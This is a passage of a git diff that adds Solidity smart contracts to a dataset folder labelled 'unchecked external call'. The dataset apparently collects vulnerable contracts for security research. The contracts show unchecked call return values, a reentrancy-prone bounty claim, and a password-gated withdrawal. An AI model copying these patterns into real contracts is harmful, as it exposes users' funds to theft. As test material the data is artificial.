pricer.requestPrice.value(uint256(Fee))(TransID); //Ask the pricer to get the price. The Fee also cover calling the function PriceReturn at a later time. + pending[TransID].push(Trans(_Quantity,_user,_action,PricerID)); //Add a transaction to the Pending queue. + _TransID=TransID; //return the transaction ID to the user + _user.transfer(uint256(refund)); //Return ETH if too much has been sent to cover the pricer + } + + function NewCoinInternal(address _user, uint128 _amount, Action _action) + internal + updates + LockIfUnwritten + LockIfFrozen + returns (uint _TransID) { + /** @dev Requests new coins be made + * @param _user Address for whom the coins are to be created + * @param _amount Amount of eth sent to this contract + * @param _action Allows Static or Risk coins to be minted + * @return transaction ID which can be viewed in the pending mapping + */ + require(IsWallet(_user)); + uint128 Fee=wmax(wmul(_amount,mintFee),pricer.queryCost()); // fee is the maxium of the pricer query cost and a mintFee% of value sent + if(wless(_amount,Fee)) revert(); //log0('Not enough ETH to mint'); + TransID++; + uint PricerID = pricer.requestPrice.value(uint256(Fee))(TransID); //Ask the pricer to return the price + pending[TransID].push(Trans(wsub(_amount,Fee),_user,_action,PricerID)); //Store the transaction ID and data ready for later recall + _TransID=TransID;//return the transaction ID for this contract to the user + } + + function Bankrupt() + internal { + EventBankrupt(); + // Reset the contract + Static.kill(); //delete all current Static tokens + Risk.kill(); //delete all current Risk tokens + //need to create new coins externally, too much gas is used if done here. + frozen=false; + written=false; // Reset the writeOnce and LockIfUnwritten modifiers + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/35904.sol b/smart_contract_dataset/unchecked external call/35904.sol new file mode 100644 index 0000000000000000000000000000000000000000..77f922bdd3ef388a1f8995d89de0ffdb6df54682 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/35904.sol @@ -0,0 +1,84 @@ +pragma solidity ^0.4.13; + +contract ERC20 { + function transfer(address _to, uint256 _value) returns (bool success); + function balanceOf(address _owner) constant returns (uint256 balance); +} + +contract ENJ { + mapping (address => uint256) public balances; + mapping (address => uint256) public balances_for_refund; + bool public bought_tokens; + bool public token_set; + uint256 public contract_eth_value; + uint256 public refund_contract_eth_value; + uint256 public refund_eth_value; + bool public kill_switch; + bytes32 password_hash = 0x8bf0720c6e610aace867eba51b03ab8ca908b665898b10faddc95a96e829539d; + address public developer = 0x859271eF2F73A447a1EfD7F95037017667c9d326; + address public sale = 0xc4740f71323129669424d1Ae06c42AEE99da30e2; + ERC20 public token; + uint256 public eth_minimum = 3235 ether; + + function set_token(address _token) { + require(msg.sender == developer); + token = ERC20(_token); + token_set = true; + } + + function personal_withdraw(uint256 transfer_amount){ + require(msg.sender == developer); + developer.transfer(transfer_amount); + } + + function withdraw_token(address _token){ + ERC20 myToken = ERC20(_token); + if (balances[msg.sender] == 0) return; + require(msg.sender != sale); + if (!bought_tokens) { + uint256 eth_to_withdraw = balances[msg.sender]; + balances[msg.sender] = 0; + msg.sender.transfer(eth_to_withdraw); + } + else { + uint256 contract_token_balance = myToken.balanceOf(address(this)); + require(contract_token_balance != 0); + uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; + contract_eth_value -= balances[msg.sender]; + balances[msg.sender] = 0; + uint256 fee = tokens_to_withdraw / 100; + require(myToken.transfer(developer, fee)); + require(myToken.transfer(msg.sender, tokens_to_withdraw - fee)); + } + } + + // This handles the withdrawal of refunds. Also works with partial refunds. + function withdraw_refund(){ + require(refund_eth_value!=0); + require(balances_for_refund[msg.sender] != 0); + uint256 eth_to_withdraw = (balances_for_refund[msg.sender] * refund_eth_value) / refund_contract_eth_value; + refund_contract_eth_value -= balances_for_refund[msg.sender]; + refund_eth_value -= eth_to_withdraw; + balances_for_refund[msg.sender] = 0; + msg.sender.transfer(eth_to_withdraw); + } + + function () payable { + if (!bought_tokens) { + balances[msg.sender] += msg.value; + balances_for_refund[msg.sender] += msg.value; + if (this.balance < eth_minimum) return; + if (kill_switch) return; + require(sale != 0x0); + bought_tokens = true; + contract_eth_value = this.balance; + refund_contract_eth_value = this.balance; + require(sale.call.value(contract_eth_value)()); + require(this.balance==0); + } else { + + require(msg.sender == sale); + refund_eth_value += msg.value; + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/35970.sol b/smart_contract_dataset/unchecked external call/35970.sol new file mode 100644 index 0000000000000000000000000000000000000000..70bfe9f2e58176b76f5aa847d318a817893f8fc5 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/35970.sol @@ -0,0 +1,98 @@ +pragma solidity ^0.4.13; + +// Enjin ICO group buyer +// Avtor: Janez + +// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 +contract ERC20 { +function transfer(address _to, uint256 _value) returns (bool success); +function balanceOf(address _owner) constant returns (uint256 balance); +} + +contract EnjinBuyer { +mapping (address => uint256) public balances; +mapping (address => uint256) public balances_for_refund; +bool public bought_tokens; +bool public token_set; +uint256 public contract_eth_value; +uint256 public refund_contract_eth_value; +uint256 public refund_eth_value; +bool public kill_switch; +bytes32 password_hash = 0x8bf0720c6e610aace867eba51b03ab8ca908b665898b10faddc95a96e829539d; +address public developer = 0x0e7CE7D6851F60A1eF2CAE9cAD765a5a62F32A84; +address public sale = 0xc4740f71323129669424d1Ae06c42AEE99da30e2; +ERC20 public token; +uint256 public eth_minimum = 3235 ether; + +function set_token(address _token) { +require(msg.sender == developer); +token = ERC20(_token); +token_set = true; +} + +function activate_kill_switch(string password) { +require(msg.sender == developer || sha3(password) == password_hash); +kill_switch = true; +} + +function personal_withdraw(string password, uint256 transfer_amount){ +require(msg.sender == developer || sha3(password) == password_hash); +msg.sender.transfer(transfer_amount); +} + +// Use with caution - use this withdraw function if you do not trust the +// contract's token setting. You can only use this once, so if you +// put in the wrong token address you will burn the Enjin on the contract. +function withdraw_token(address _token){ +ERC20 myToken = ERC20(_token); +if (balances[msg.sender] == 0) return; +require(msg.sender != sale); +if (!bought_tokens) { +uint256 eth_to_withdraw = balances[msg.sender]; +balances[msg.sender] = 0; +msg.sender.transfer(eth_to_withdraw); +} +else { +uint256 contract_token_balance = myToken.balanceOf(address(this)); +require(contract_token_balance != 0); +uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; +contract_eth_value -= balances[msg.sender]; +balances[msg.sender] = 0; +uint256 fee = tokens_to_withdraw / 100; +require(myToken.transfer(developer, fee)); +require(myToken.transfer(msg.sender, tokens_to_withdraw - fee)); +} +} + +// This handles the withdrawal of refunds. Also works with partial refunds. +function withdraw_refund(){ +require(refund_eth_value!=0); +require(balances_for_refund[msg.sender] != 0); +uint256 eth_to_withdraw = (balances_for_refund[msg.sender] * refund_eth_value) / refund_contract_eth_value; +refund_contract_eth_value -= balances_for_refund[msg.sender]; +refund_eth_value -= eth_to_withdraw; +balances_for_refund[msg.sender] = 0; +msg.sender.transfer(eth_to_withdraw); +} + +function () payable { +if (!bought_tokens) { +balances[msg.sender] += msg.value; +balances_for_refund[msg.sender] += msg.value; +if (this.balance < eth_minimum) return; +if (kill_switch) return; +require(sale != 0x0); +bought_tokens = true; +contract_eth_value = this.balance; +refund_contract_eth_value = this.balance; +require(sale.call.value(contract_eth_value)()); +require(this.balance==0); +} else { +// We might be getting a full refund or partial refund if we go over the limit from Enjin's multisig wallet. +// We have been assured by the CTO that the refund would only +// come from the pre-sale wallet. +require(msg.sender == sale); +refund_eth_value += msg.value; +} +} +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/36334.sol b/smart_contract_dataset/unchecked external call/36334.sol new file mode 100644 index 0000000000000000000000000000000000000000..f29818b976ab21ff8c6760c853e47c476e7f19d7 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/36334.sol @@ -0,0 +1,98 @@ +pragma solidity ^0.4.16; + +// Original author: Cintix +// Modified by: Moonlambos, yakois + +// ERC20 Interface: https://github.com/ethereum/EIPs/issues/20 +contract ERC20 { + function transfer(address _to, uint256 _value) returns (bool success); + function balanceOf(address _owner) constant returns (uint256 balance); +} + +contract RequestSale { + // Store the amount of ETH deposited by each account. + mapping (address => uint256) public balances; + // Track whether the contract has bought the tokens yet. + bool public bought_tokens; + // Record ETH value of tokens currently held by contract. + uint256 public contract_eth_value; + // Maximum amount of user ETH contract will accept. + uint256 public eth_cap = 500 ether; + // The minimum amount of ETH that must be deposited before the buy-in can be performed. + uint256 constant public min_required_amount = 60 ether; + // The owner's address. + address public owner; + // The crowdsale address. Can be verified at: https://request.network/#/presale. + address public sale = 0xa579E31b930796e3Df50A56829cF82Db98b6F4B3; + + //Constructor. Sets the sender as the owner of the contract. + function RequestSale() { + owner = msg.sender; + } + + // Allows any user to withdraw his tokens. + // Token's ERC20 address as argument as it is unknow at the time of deployement. + function perform_withdrawal(address tokenAddress) { + // Tokens must be bought + require(bought_tokens); + // Retrieve current token balance of contract + ERC20 token = ERC20(tokenAddress); + uint256 contract_token_balance = token.balanceOf(address(this)); + // Disallow token withdrawals if there are no tokens to withdraw. + require(contract_token_balance != 0); + // Store the user's token balance in a temporary variable. + uint256 tokens_to_withdraw = (balances[msg.sender] * contract_token_balance) / contract_eth_value; + // Update the value of tokens currently held by the contract. + contract_eth_value -= balances[msg.sender]; + // Update the user's balance prior to sending to prevent recursive call. + balances[msg.sender] = 0; + // Send the funds. Throws on failure to prevent loss of funds. + require(token.transfer(msg.sender, tokens_to_withdraw)); + } + + // Allows any caller to get his eth refunded. + function refund_me() { + // Store the user's balance prior to withdrawal in a temporary variable. + uint256 eth_to_withdraw = balances[msg.sender]; + // Update the user's balance prior to sending ETH to prevent recursive call. + balances[msg.sender] = 0; + // Return the user's funds. Throws on failure to prevent loss of funds. + msg.sender.transfer(eth_to_withdraw); + } + + // Buy the tokens. Sends ETH to the presale wallet and records the ETH amount held in the contract. + function buy_the_tokens() { + // Only allow the owner to perform the buy in. + require(msg.sender == owner); + // Short circuit to save gas if the contract has already bought tokens. + require(!bought_tokens); + // The pre-sale address has to be set. + require(sale != 0x0); + // Throw if the contract balance is less than the minimum required amount. + require(this.balance >= min_required_amount); + // Record that the contract has bought the tokens. + bought_tokens = true; + // Record the amount of ETH sent as the contract's current value. + contract_eth_value = this.balance; + // Transfer all the funds to the crowdsale address. + require(sale.call.value(contract_eth_value)()); + } + + function upgrade_cap() { + // Only the owner can raise the cap. + require(msg.sender == owner); + // Raise the cap. + eth_cap = 1000 ether; + + } + + // Default function. Called when a user sends ETH to the contract. + function () payable { + // Only allow deposits if the contract hasn't already purchased the tokens. + require(!bought_tokens); + // Only allow deposits that won't exceed the contract's ETH cap. + require(this.balance + msg.value < eth_cap); + // Update records of deposited ETH to include the received amount. + balances[msg.sender] += msg.value; + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/37707.sol b/smart_contract_dataset/unchecked external call/37707.sol new file mode 100644 index 0000000000000000000000000000000000000000..56bdb76fd0496a5b2a96f17a134a3d519f0fe447 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/37707.sol @@ -0,0 +1,31 @@ +pragma solidity ^0.4.4; + +contract BountyHunt { + mapping(address => uint) public bountyAmount; + uint public totalBountyAmount; + + modifier preventTheft { + _; + if (this.balance < totalBountyAmount) throw; + } + + function grantBounty(address beneficiary, uint amount) payable preventTheft { + bountyAmount[beneficiary] += amount; + totalBountyAmount += amount; + } + + function claimBounty() preventTheft { + uint balance = bountyAmount[msg.sender]; + if (msg.sender.call.value(balance)()) { + totalBountyAmount -= balance; + bountyAmount[msg.sender] = 0; + } + } + + function transferBounty(address to, uint value) preventTheft { + if (bountyAmount[msg.sender] >= value) { + bountyAmount[to] += value; + bountyAmount[msg.sender] -= value; + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/39268.sol b/smart_contract_dataset/unchecked external call/39268.sol new file mode 100644 index 0000000000000000000000000000000000000000..9286a5c11570681700c9fd0909005aef5829aa7d --- /dev/null +++ b/smart_contract_dataset/unchecked external call/39268.sol @@ -0,0 +1,212 @@ +pragma solidity ^0.4.9; + +contract TownCrier { + struct Request { // the data structure for each request + address requester; // the address of the requester + uint fee; // the amount of wei the requester pays for the request + address callbackAddr; // the address of the contract to call for delivering response + bytes4 callbackFID; // the specification of the callback function + bytes32 paramsHash; // the hash of the request parameters + } + + event Upgrade(address newAddr); + event Reset(uint gas_price, uint min_fee, uint cancellation_fee); + event RequestInfo(uint64 id, uint8 requestType, address requester, uint fee, address callbackAddr, bytes32 paramsHash, uint timestamp, bytes32[] requestData); // log of requests, the Town Crier server watches this event and processes requests + event DeliverInfo(uint64 requestId, uint fee, uint gasPrice, uint gasLeft, uint callbackGas, bytes32 paramsHash, uint64 error, bytes32 respData); // log of responses + event Cancel(uint64 requestId, address canceller, address requester, uint fee, int flag); // log of cancellations + + address public constant SGX_ADDRESS = 0x18513702cCd928F2A3eb63d900aDf03c9cc81593;// address of the SGX account + + uint public GAS_PRICE = 5 * 10**10; + uint public MIN_FEE = 30000 * GAS_PRICE; // minimum fee required for the requester to pay such that SGX could call deliver() to send a response + uint public CANCELLATION_FEE = 25000 * GAS_PRICE; // charged when the requester cancels a request that is not responded + + uint public constant CANCELLED_FEE_FLAG = 1; + uint public constant DELIVERED_FEE_FLAG = 0; + int public constant FAIL_FLAG = -2 ** 250; + int public constant SUCCESS_FLAG = 1; + + bool public killswitch; + + bool public externalCallFlag; + + uint64 public requestCnt; + uint64 public unrespondedCnt; + Request[2**64] public requests; + + int public newVersion = 0; + + // Contracts that receive Ether but do not define a fallback function throw + // an exception, sending back the Ether (this was different before Solidity + // v0.4.0). So if you want your contract to receive Ether, you have to + // implement a fallback function. + function () {} + + function TownCrier() public { + // Start request IDs at 1 for two reasons: + // 1. We can use 0 to denote an invalid request (ids are unsigned) + // 2. Storage is more expensive when changing something from zero to non-zero, + // so this means the first request isn't randomly more expensive. + requestCnt = 1; + requests[0].requester = msg.sender; + killswitch = false; + unrespondedCnt = 0; + externalCallFlag = false; + } + + function upgrade(address newAddr) { + if (msg.sender == requests[0].requester && unrespondedCnt == 0) { + newVersion = -int(newAddr); + killswitch = true; + Upgrade(newAddr); + } + } + + function reset(uint price, uint minGas, uint cancellationGas) public { + if (msg.sender == requests[0].requester && unrespondedCnt == 0) { + GAS_PRICE = price; + MIN_FEE = price * minGas; + CANCELLATION_FEE = price * cancellationGas; + Reset(GAS_PRICE, MIN_FEE, CANCELLATION_FEE); + } + } + + function suspend() public { + if (msg.sender == requests[0].requester) { + killswitch = true; + } + } + + function restart() public { + if (msg.sender == requests[0].requester && newVersion == 0) { + killswitch = false; + } + } + + function withdraw() public { + if (msg.sender == requests[0].requester && unrespondedCnt == 0) { + if (!requests[0].requester.call.value(this.balance)()) { + throw; + } + } + } + + function request(uint8 requestType, address callbackAddr, bytes4 callbackFID, uint timestamp, bytes32[] requestData) public payable returns (int) { + if (externalCallFlag) { + throw; + } + + if (killswitch) { + externalCallFlag = true; + if (!msg.sender.call.value(msg.value)()) { + throw; + } + externalCallFlag = false; + return newVersion; + } + + if (msg.value < MIN_FEE) { + externalCallFlag = true; + // If the amount of ether sent by the requester is too little or + // too much, refund the requester and discard the request. + if (!msg.sender.call.value(msg.value)()) { + throw; + } + externalCallFlag = false; + return FAIL_FLAG; + } else { + // Record the request. + uint64 requestId = requestCnt; + requestCnt++; + unrespondedCnt++; + + bytes32 paramsHash = sha3(requestType, requestData); + requests[requestId].requester = msg.sender; + requests[requestId].fee = msg.value; + requests[requestId].callbackAddr = callbackAddr; + requests[requestId].callbackFID = callbackFID; + requests[requestId].paramsHash = paramsHash; + + // Log the request for the Town Crier server to process. + RequestInfo(requestId, requestType, msg.sender, msg.value, callbackAddr, paramsHash, timestamp, requestData); + return requestId; + } + } + + function deliver(uint64 requestId, bytes32 paramsHash, uint64 error, bytes32 respData) public { + if (msg.sender != SGX_ADDRESS || + requestId <= 0 || + requests[requestId].requester == 0 || + requests[requestId].fee == DELIVERED_FEE_FLAG) { + // If the response is not delivered by the SGX account or the + // request has already been responded to, discard the response. + return; + } + + uint fee = requests[requestId].fee; + if (requests[requestId].paramsHash != paramsHash) { + // If the hash of request parameters in the response is not + // correct, discard the response for security concern. + return; + } else if (fee == CANCELLED_FEE_FLAG) { + // If the request is cancelled by the requester, cancellation + // fee goes to the SGX account and set the request as having + // been responded to. + SGX_ADDRESS.send(CANCELLATION_FEE); + requests[requestId].fee = DELIVERED_FEE_FLAG; + unrespondedCnt--; + return; + } + + requests[requestId].fee = DELIVERED_FEE_FLAG; + unrespondedCnt--; + + if (error < 2) { + // Either no error occurs, or the requester sent an invalid query. + // Send the fee to the SGX account for its delivering. + SGX_ADDRESS.send(fee); + } else { + // Error in TC, refund the requester. + externalCallFlag = true; + requests[requestId].requester.call.gas(2300).value(fee)(); + externalCallFlag = false; + } + + uint callbackGas = (fee - MIN_FEE) / tx.gasprice; // gas left for the callback function + DeliverInfo(requestId, fee, tx.gasprice, msg.gas, callbackGas, paramsHash, error, respData); // log the response information + if (callbackGas > msg.gas - 5000) { + callbackGas = msg.gas - 5000; + } + + externalCallFlag = true; + requests[requestId].callbackAddr.call.gas(callbackGas)(requests[requestId].callbackFID, requestId, error, respData); // call the callback function in the application contract + externalCallFlag = false; + } + + function cancel(uint64 requestId) public returns (int) { + if (externalCallFlag) { + throw; + } + + if (killswitch) { + return 0; + } + + uint fee = requests[requestId].fee; + if (requests[requestId].requester == msg.sender && fee >= CANCELLATION_FEE) { + // If the request was sent by this user and has money left on it, + // then cancel it. + requests[requestId].fee = CANCELLED_FEE_FLAG; + externalCallFlag = true; + if (!msg.sender.call.value(fee - CANCELLATION_FEE)()) { + throw; + } + externalCallFlag = false; + Cancel(requestId, msg.sender, requests[requestId].requester, requests[requestId].fee, 1); + return SUCCESS_FLAG; + } else { + Cancel(requestId, msg.sender, requests[requestId].requester, fee, -1); + return FAIL_FLAG; + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40120.sol b/smart_contract_dataset/unchecked external call/40120.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40120.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40123.sol b/smart_contract_dataset/unchecked external call/40123.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40123.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or tokens + * @param _tokenAddresses what token to be transfered in case of eth just leave the 0x address + */ + function withdraw(address[] _destinations, uint[] _amounts, address[] _tokenAddresses) public onlyOwnerOrWithdrawCreator { + require(_destinations.length == _amounts.length && _amounts.length == _tokenAddresses.length); + // itterate in receivers + for (uint i = 0; i < _destinations.length; i++) { + address tokenAddress = _tokenAddresses[i]; + uint amount = _amounts[i]; + address destination = _destinations[i]; + // eth transfer + if (tokenAddress == address(0)) { + if (this.balance < amount) { + continue; + } + if (!destination.call.gas(70000).value(amount)()) { + continue; + } + + }else { + // erc 20 transfer + if (ERC20(tokenAddress).balanceOf(this) < amount) { + continue; + } + ERC20(tokenAddress).transfer(destination, amount); + } + // emit event in both cases + emit AmountWithdrawEvent(destination, amount, tokenAddress); + } + + } + + modifier onlyOwnerOrWithdrawCreator() { + require(msg.sender == withdrawCreator || msg.sender == owner); + _; + } + +} \ No newline at end of file diff --git a/smart_contract_dataset/unchecked external call/40124.sol b/smart_contract_dataset/unchecked external call/40124.sol new file mode 100644 index 0000000000000000000000000000000000000000..aa3655bb0c31731483b9a40ba063d6f8d2511e11 --- /dev/null +++ b/smart_contract_dataset/unchecked external call/40124.sol @@ -0,0 +1,183 @@ +pragma solidity ^0.4.21; + +// File: zeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + function Ownable() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + +// File: zeppelin-solidity/contracts/ownership/Claimable.sol + +/** + * @title Claimable + * @dev Extension for the Ownable contract, where the ownership needs to be claimed. + * This allows the new owner to accept the transfer. + */ +contract Claimable is Ownable { + address public pendingOwner; + + /** + * @dev Modifier throws if called by any account other than the pendingOwner. + */ + modifier onlyPendingOwner() { + require(msg.sender == pendingOwner); + _; + } + + /** + * @dev Allows the current owner to set the pendingOwner address. + * @param newOwner The address to transfer ownership to. + */ + function transferOwnership(address newOwner) onlyOwner public { + pendingOwner = newOwner; + } + + /** + * @dev Allows the pendingOwner address to finalize the transfer. + */ + function claimOwnership() onlyPendingOwner public { + OwnershipTransferred(owner, pendingOwner); + owner = pendingOwner; + pendingOwner = address(0); + } +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: zeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + +// File: contracts/Withdrawals.sol + +contract Withdrawals is Claimable { + + /** + * @dev responsible for calling withdraw function + */ + address public withdrawCreator; + + /** + * @dev if it's token transfer the tokenAddress will be 0x0000... + * @param _destination receiver of token or eth + * @param _amount amount of ETH or Tokens + * @param _tokenAddress actual token address or 0x000.. in case of eth transfer + */ + event AmountWithdrawEvent( + address _destination, + uint _amount, + address _tokenAddress + ); + + /** + * @dev fallback function only to enable ETH transfer + */ + function() payable public { + + } + + /** + * @dev setter for the withdraw creator (responsible for calling withdraw function) + */ + function setWithdrawCreator(address _withdrawCreator) public onlyOwner { + withdrawCreator = _withdrawCreator; + } + + /** + * @dev withdraw function to send token addresses or eth amounts to a list of receivers + * @param _destinations batch list of token or eth receivers + * @param _amounts batch list of values of eth or 